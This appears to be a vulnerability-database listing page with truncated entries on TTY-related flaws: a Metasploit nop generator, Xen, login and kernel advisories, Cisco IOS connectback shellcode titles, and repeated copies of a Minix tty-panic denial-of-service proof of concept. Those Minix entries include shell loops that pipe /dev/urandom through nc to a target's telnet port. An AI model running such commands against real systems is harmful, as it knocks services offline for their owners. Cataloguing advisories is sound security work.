TTY Nop Generator

Generates harmless padding for TTY input This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework This class implements a "nop" generator for TTY payloads class MetasploitModule 'TTY Nop Generator', 'Alias' = 'ttygeneric',...

xen: Multiple unsafe uses of guest-writable data from xenstore

xend in Xen 3.0.3 does not properly limit the contents of the /local/domain xenstore directory tree, and does not properly restrict a guest VM's write access within this tree, which allows guest OS users to cause a denial of service and possibly have unspecified other impact by writing to 1...

USN-695-1: shadow vulnerability

Paul Szabo discovered a race condition in login. While setting up tty permissions, login did not correctly handle symlinks. If a local attacker were able to gain control of the system utmp file, they could cause login to change the ownership and permissions on arbitrary files, leading to a root...

kernel: NULL ptr dereference in multiple network drivers due to missing checks in tty code

The Linux kernel before 2.6.25.10 does not properly perform tty operations, which allows local users to cause a denial of service system crash or possibly gain privileges via vectors involving NULL pointer dereference of function pointers in 1 hamradio/6pack.c, 2 hamradio/mkiss.c, 3...

CVE-2008-4313

A certain Red Hat patch for tog-pegasus in OpenGroup Pegasus 2.7.0 does not properly configure the PAM tty name, which allows remote authenticated users to bypass intended access restrictions and send requests to OpenPegasus WBEM services...

tog-pegasus: WBEM services access not restricted to dedicated user after 2.7.0 rebase

A certain Red Hat patch for tog-pegasus in OpenGroup Pegasus 2.7.0 does not properly configure the PAM tty name, which allows remote authenticated users to bypass intended access restrictions and send requests to OpenPegasus WBEM services...

openSUSE 10 Security Update : kernel (kernel-5700)

The openSUSE 10.3 kernel was update to 2.6.22.19. This includes bugs and security fixes. CVE-2008-4576: Fixed a crash in SCTP INIT-ACK, on mismatch between SCTP AUTH availability. This might be exploited remotely for a denial of service crash attack. CVE-2008-3528: The ext234 filesystem code fail...

DSA-1630-1 fai-kernels linux-2.6 user-mode-linux - several vulnerabilities

Bulletin has no description...

Cisco IOS Connectback shellcode v1.0

No description provided by source. ---------------------------------------------------------------------------------------- Cisco IOS Connectback shellcode v1.0 c 2007 IRM Plc By Gyan Chawdhary ---------------------------------------------------------------------------------------- The code creat...

Cisco IOS Connectback shellcode v1.0

Exploit for hardware platform in category shellcode ==================================== Cisco IOS Connectback shellcode v1.0 ==================================== ---------------------------------------------------------------------------------------- Cisco IOS Connectback shellcode v1.0 c 2007 I...

Cisco IOS Tiny Shellcode 1.0

Cisco IOS Tiny shellcode v1.0. Shellcode exploit for hardware platform ---------------------------------------------------------------------------------------- Cisco IOS Tiny shellcode v1.0 c 2007 IRM Plc By Gyan Chawdhary...

Cisco IOS Connectback Shellcode 1.0

Cisco IOS Connectback shellcode v1.0. Shellcode exploit for hardware platform ---------------------------------------------------------------------------------------- Cisco IOS Connectback shellcode v1.0 c 2007 IRM Plc By Gyan Chawdhary...

kernel: NULL ptr dereference in multiple network drivers due to missing checks in tty code

The Linux kernel before 2.6.25.10 does not properly perform tty operations, which allows local users to cause a denial of service system crash or possibly gain privileges via vectors involving NULL pointer dereference of function pointers in 1 hamradio/6pack.c, 2 hamradio/mkiss.c, 3...

minix 3.1.2a tty panic Remote Denial of Service Vulnerability

No description provided by source. kokanin@gmail 20080724 minix 3.1.2a remote tty panic trunk/src/drivers/tty/tty.c 14965 if status = sendreplyee, &ttymess != OK 14966 panic"TTY","ttyreply failed, status\n", status; $ while true ; do sleep 1 && killall nc 2/dev/null; done & $ while true ; do cat...

Minix 3.1.2a - Remote TTY Panic (Denial of Service)

Minix 3.1.2a - Remote TTY Panic Denial of Service kokanin@gmail 20080724 minix 3.1.2a remote tty panic trunk/src/drivers/tty/tty.c 14965 if status = sendreplyee, &ttymess != OK 14966 panic"TTY","ttyreply failed, status\n", status; $ while true ; do sleep 1 && killall nc 2/dev/null; done & $ while...

minix-panic.txt

Hello again, another day.. kokanin@gmail 20080724 minix 3.1.2a remote tty panic trunk/src/drivers/tty/tty.c 14965 if status = sendreplyee, &ttymess != OK 14966 panic"TTY","ttyreply failed, status\n", status; $ while true ; do sleep 1 && killall nc 2/dev/null; done & $ while true ; do cat...

Minix 3.1.2a - Remote TTY Panic (Denial of Service)

kokanin@gmail 20080724 minix 3.1.2a remote tty panic trunk/src/drivers/tty/tty.c 14965 if status = sendreplyee, &ttymess != OK 14966 panic"TTY","ttyreply failed, status\n", status; $ while true ; do sleep 1 && killall nc 2/dev/null; done & $ while true ; do cat /dev/urandom | nc 192.168.1.42 23 ;...

minix 3.1.2a tty panic Remote Denial of Service Vulnerability

Exploit for minix platform in category dos / poc ============================================================= minix 3.1.2a tty panic Remote Denial of Service Vulnerability ============================================================= email protected 20080724 minix 3.1.2a remote tty panic...

kernel: NULL ptr dereference in multiple network drivers due to missing checks in tty code

The Linux kernel before 2.6.25.10 does not properly perform tty operations, which allows local users to cause a denial of service system crash or possibly gain privileges via vectors involving NULL pointer dereference of function pointers in 1 hamradio/6pack.c, 2 hamradio/mkiss.c, 3...

minix 3.1.2a tty panic Local Denial of Service Vulnerability

No description provided by source. kokanin@gmail 20080723 minix 3.1.2a tty panic trunk/src/drivers/tty/tty.c 14965 if status = sendreplyee, &ttymess != OK 14966 panic"TTY","ttyreply failed, status\n", status; $ uname -a Minix 192.168.1.2 3 1.2a i686 $ while true ; do yes "yes yes minix uh ah"& ;...